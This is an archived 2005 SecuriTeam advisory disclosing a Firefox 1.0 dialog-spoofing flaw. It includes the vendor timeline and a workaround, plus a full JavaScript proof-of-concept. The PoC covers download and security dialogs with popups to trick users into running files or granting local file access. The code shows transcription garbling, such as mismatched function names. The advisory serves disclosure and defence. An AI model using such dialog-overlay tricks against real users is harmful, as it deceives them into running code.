

# [NT] Mozilla Firefox Window Spoofing (Firespoofing)

**Source:** <http://www.derkeiler.com/Mailing-Lists/Securiteam/2005-01/0050.html>

---

**From:** SecuriTeam (*support\_at\_securiteam.com*)

**Date:** 01/11/05

To: list@securiteam.com

Date: 11 Jan 2005 14:07:31 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.

<http://www.securiteam.com/maillinglist.html>

-----

Mozilla Firefox Window Spoofing (Firespoofing)

---

## SUMMARY

Using JavaScript it is possible to spoof the content of security and download dialogs by partly covering them with a popup window. This can fool a user to download and automatically execute a file (if a file extension association exists) or to grant a script local data access (if codebase principals are enabled).

## DETAILS

Affected Software:

- \* Mozilla Firefox version 1.0
- \* Mozilla version 1.7.5
- \* Netscape version 7.1

All under Windows XP SP2

Expected Behavior:

Modal dialogs should always be on top and it should not be possible to obfuscate their appearance.

## Securiteam: [NT] Mozilla Firefox Window Spoofing (Firespoofing)

### Vendor Status:

The bug is confirmed but currently unfixed (open for more than 3 months). As a partial workaround set dom.disable\_window\_flip to true in about:config. The vendor failed to respond to multiple status requests which led to this public disclosure.

2004-09-20 Vendor informed (bugzilla.mozilla.org #260560)

2004-09-20 Vendor confirmed bug

2004-10-20 Status request (open for 1 month – no reply)

2005-01-03 Status request (open for 3 months – no reply)

2005-01-07 Status request (disclosure warning – no reply)

2005-01-11 Public disclosure

### Exploit:

The PoC is designed for Firefox 1.0 running in a maximized window.

#### Part 1 – download dialog spoofing

Shows how to cover a download dialog and fool the user to execute a file with a standard windows file association (in this case a .ht file). BTW, remember the latest .ht buffer overflow...

#### Part 2 – security dialog spoofing

Shows how to cover a security dialog. Make sure codebase principals are enabled (not default but encouraged by many XUL sites). Creates the file c:\boom.txt to proof local system access.

The exploit is also available at: <<http://www.mikx.de/firespoofing/>>

<http://www.mikx.de/firespoofing/>

< html>

< head>

< title>Firefox Dialog Spoofing – Proof-of-Concept –

<http://www.mikx.de/firespoofing/>>

</head>

< script>

function spoofDownload(){

    window.location = "boom.php"

    var pWin = false;

    var pWidth = 364

    var pHeight = 225

    var pLeft = (screen.width) / 2 – 185;

    var pTop = (screen.height) / 2 – 200;

    var pLorem = 'Lorem ipsum dolor sit amet, consectetur adipiscing elit. Pellentesque lectus dui, porttitor sit amet, varius aliquam, ultrices id, nisl. Donec gravida, justo at gravida feugiat, pede massa vehicula magna, ac venenatis felis velit nec lorem. Aenean tempus sapien at enim. Pellentesque et massa at justo fermentum ultricies. Ut volutpat ligula nec magna. Maecenas ornare pulvinar nisl. Fusce sodales. Vivamus ut erat. Cras dolor neque, suscipit non, vestibulum at, sagittis et, arcu. Quisque mauris mi, sollicitudin vitae, pretium sit amet, nonummy non,

## Securiteam: [NT] Mozilla Firefox Window Spoofing (Firespoofing)

```
metus.>';
    var pHtml = '<strong>You need to accept this EULA before entering the
site:</strong><br><br><textarea
style="width:100%;height:140px;font-family:Tahoma,Verdana,Arial;font-size:11px;">' + pLorem + '\n\n' +
pLorem + '\n\n' + pLorem + '</textarea><br><br><strong>Do you accept this? Please click OK to
confirm.</strong>';

    pWin = open('', 'popUpWin', 'width=' + pWidth + ',height=' + pHeight +
',left=' + pLeft + ',top=' + pTop + ',screenX=' + pLeft + ',screenY=' +
pTop +
',toolbar=no,location=no,directories=no,status=no,menubar=no,scrollbars=no,resizable=no');
    pWin.opener = this;
    pWin.document.open();
    pWin.document.write("< html>< head>< style>body { margin:10px;
padding:0px; border:0px; overflow:hidden; background-color:buttonface;
font-family: Tahoma, Verdana, Arial;
font-size:11px;}</style></head><body><
script>>window.setTimeout(\"this.focus();\",500);</script>" + pHtml +
"</body></html>");
    pWin.document.close();

}

function spoofSecurity(){

    var pWin = false;
    var pWidth = 540
    var pHeight = 225
    var pLeft = (screen.width) / 2 - 273;
    var pTop = (screen.height) / 2 - 240;
    var pLorem = 'Lorem ipsum dolor sit amet, consectetur adipiscing
elit. Pellentesque lectus dui, porttitor sit amet, varius aliquam,
ultrices id, nisl. Donec gravida, justo at gravida feugiat, pede massa
vehicula magna, ac venenatis felis velit nec lorem. Aenean tempus sapien
at enim. Pellentesque et massa at justo fermentum ultricies. Ut volutpat
ligula nec magna. Maecenas ornare pulvinar nisl. Fusce sodales. Vivamus ut
erat. Cras dolor neque, suscipit non, vestibulum at, sagittis et, arcu.
Quisque mauris mi, sollicitudin vitae, pretium sit amet, nonummy non,
metus.>';
    var pHtml = '< strong>You need to accept this EULA before entering the
site:</strong>< br>< br><textarea
style="width:100%;height:140px;font-family:Tahoma,Verdana,Arial;font-size:11px;">' + pLorem + '\n\n' +
pLorem + '\n\n' + pLorem + '</textarea>< br>< br>< strong>Do you accept this? Please click "Allow" to
confirm.</strong>';

    pWin = open('', 'popUpWin', 'width=' + pWidth + ',height=' + pHeight +
',left=' + pLeft + ',top=' + pTop + ',screenX=' + pLeft + ',screenY=' +
pTop +
',toolbar=no,location=no,directories=no,status=no,menubar=no,scrollbars=no,resizable=no');
    pWin.opener = this;
    pWin.document.open();
```

## Securiteam: [NT] Mozilla Firefox Window Spoofing (Firespoofing)

```
pWin.document.write("< html>< head>< style>body { margin:10px;
padding:0px; border:0px; overflow:hidden; background-color:buttonface;
font-family:Tahoma,Verdana,Arial; font-size:11px;}</style></head>< body><
script>>window.setTimeout(\"this.focus();\",500);</script>\" + pHtml +
\"</body></html>");
pWin.document.close();
```

```
netscape.security.PrivilegeManager.enablePrivilege("UniversalXPConnect");
file =
Components.classes["@mozilla.org/file/local;1"].createInstance(Components.interfaces.nsILocalFile);
file.initWithPath("c:\\boom.txt");
file.create(Components.interfaces.nsIFile.NORMAL_FILE_TYPE, 420);
outputStream =
Components.classes["@mozilla.org/network/file-output-stream;1"].createInstance(
Components.interfaces.nsIFileOutputStream );
outputStream.init(file, 0x04 | 0x08 | 0x20, 420, 0);
output = "boom!";
outputStream.write(output, output.length);
outputStream.close();
```

```
}
</script>
< body>
< div style="font-family:Verdana;font-size:11px;">
```

```
< div style="font-family:Verdana;font-size:15px;font-weight:bold;">Firefox
Dialog Spoofing – Proof-of-Concept</div>
Designed for Firefox 1.0 (Windows) and a maximized window
< br>< br>
```

```
< a href="javascript:spooftDownload()">Open spoofed download dialog</a>
< br>< br>
```

```
< a href="javascript:spooftSecurity()">Open spoofed security dialog</a>
(enable signed.applets.codebase_principal_support)
< br>< br>< br>
```

```
Full Advisory: < a href="http://www.mikx.de/?p=7"
target="_blank">http://www.mikx.de/?p=7<
</div>
```

```
</body>
</html>
```

### ADDITIONAL INFORMATION

The information has been provided by <mailto:mikx@mikx.de> Michael Krax.  
The original article can be found at: <http://www.mikx.de/?p=7>  
<http://www.mikx.de/?p=7>

=====

Securiteam: [NT] Mozilla Firefox Window Spoofing (Firespoofing)

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

[list-unsubscribe@securiteam.com](mailto:list-unsubscribe@securiteam.com)

In order to subscribe to the mailing list, simply forward this email to: [list-subscribe@securiteam.com](mailto:list-subscribe@securiteam.com)

=====  
=====

**DISCLAIMER:**

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.